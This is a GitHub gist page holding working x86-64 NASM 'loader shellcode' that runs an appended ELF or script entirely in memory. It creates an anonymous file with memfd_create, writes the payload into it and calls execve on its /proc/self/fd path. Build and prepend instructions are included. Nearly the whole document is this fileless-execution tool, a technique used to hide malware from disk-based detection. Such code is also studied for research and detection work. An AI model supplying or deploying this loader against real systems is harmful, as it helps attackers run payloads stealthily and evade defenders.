Skip to content

Instantly share code, notes, and snippets.

@zznop
Last active March 6, 2023 00:17
Show Gist options
  • Star 70 You must be signed in to star a gist
  • Fork 32 You must be signed in to fork a gist
  • Save zznop/0117c24164ee715e750150633c7c1782 to your computer and use it in GitHub Desktop.
Save zznop/0117c24164ee715e750150633c7c1782 to your computer and use it in GitHub Desktop.
Fun little loader shellcode that executes an ELF in-memory using an anonymous file descriptor (inspired by https://x-c3ll.github.io/posts/fileless-memfd_create/)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; Copyright (C), zznop, brandonkmiller@protonmail.com
;;;
;;; This software may be modified and distributed under the terms
;;; of the MIT license. See the LICENSE file for details.
;;;
;;; DESCRIPTION
;;;
;;; This PoC shellcode is meant to be compiled as a blob and prepended to a ELF
;;; (or bash script). It opens an anonymous file descriptor (backed by vmem)
;;; using the memfd_create syscall and proceeds to write the executable to the
;;; anonymous file descriptor and exec it.
;;;
;;; USAGE
;;;
;;; $ nasm -f bin -o mem-loader.bin mem-loader.asm
;;; $ cat mem-loader.bin script.sh > mem-loader-final.bin
;;;
;;; Then use a hex editor and fixup executable_size placeholder with the size of
;;; the appended executable (little endian). The placeholder value is 8 bytes
;;; (all A's) and starts at byte 3.
;;;
;;; Resources:
;;; https://x-c3ll.github.io/posts/fileless-memfd_create/
;;; https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
[bits 64]
global start
_start:
jmp past
executable_size: dq 0x4141414141414141 ; fixed up with size of executable
fd_name: db 0 ; emtpy file descriptor name
fd_path: db "/proc/self/fd/", 0, 0, 0, 0, 0 ; path to file descriptor for exec call
past:
mov rax, 319 ; __NR_memfd_create syscall num
lea rdi, [rel fd_name] ; ptr to empty file descriptor name
mov rsi, 1 ; MFD_CLOEXEC (close file descriptor on exec)
syscall ; create anonymous fd
test rax, rax ; good file descriptor?
js done ; return if bad file descriptor
mov rdi, rax ; file descriptor (arg_0)
mov rax, 1 ; __NR_write
lea rsi, [rel executable] ; pointer to executable base (arg_1)
mov rdx, qword [rel executable_size] ; load size of executable into rdx (arg_2)
syscall ; write the executable to the fd
cmp rax, rdx ; did everything get written successfully?
jnz done ; fail out if all bytes were not written
call fixup_fd_path ; fixup the fd path string by converting the fd to a str
mov rax, 59 ; execve syscall num
lea rdi, [rel fd_path] ; filename
xor rcx, rcx ; zeroize rcx (terminator for argv)
push rcx ; push 0 to stack
push rdi ; push address of fd path to the stack
mov rsi, rsp ; argv (address of fd path, null)
xor rdx, rdx ; envp = NULL
syscall ; call execve (won't return if successful)
add rsp, 16 ; restore the stack
done:
ret ; return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; fixup the fd path string with the file descrpitor -
;;; basically sprintf(foo, "/proc/self/fd/%i", fd);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
fixup_fd_path:
mov rax, rdi ; number to be converted
mov rcx, 10 ; divisor
xor bx, bx ; count digits
.divide:
xor rdx, rdx ; high part = 0
div rcx ; rcx = rcx:rax/rcx, rdx = remainder
push dx ; dx is a digit in range [0..9]
inc bx ; count digits
test rax, rax ; rax is 0?
jnz .divide ; no, continue
; pop digits from stack in reverse order
mov cx, bx ; number of digits
lea rsi, [rel fd_path] ; rsi points to fd path string buffer
add rsi, 14 ; start of location to write the fd (as a string)
.next_digit:
pop ax
add al, '0' ; convert to ASCII
mov [rsi], al ; write it to the buffer
inc si
loop .next_digit
ret
; appended script or ELF executable
executable:
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment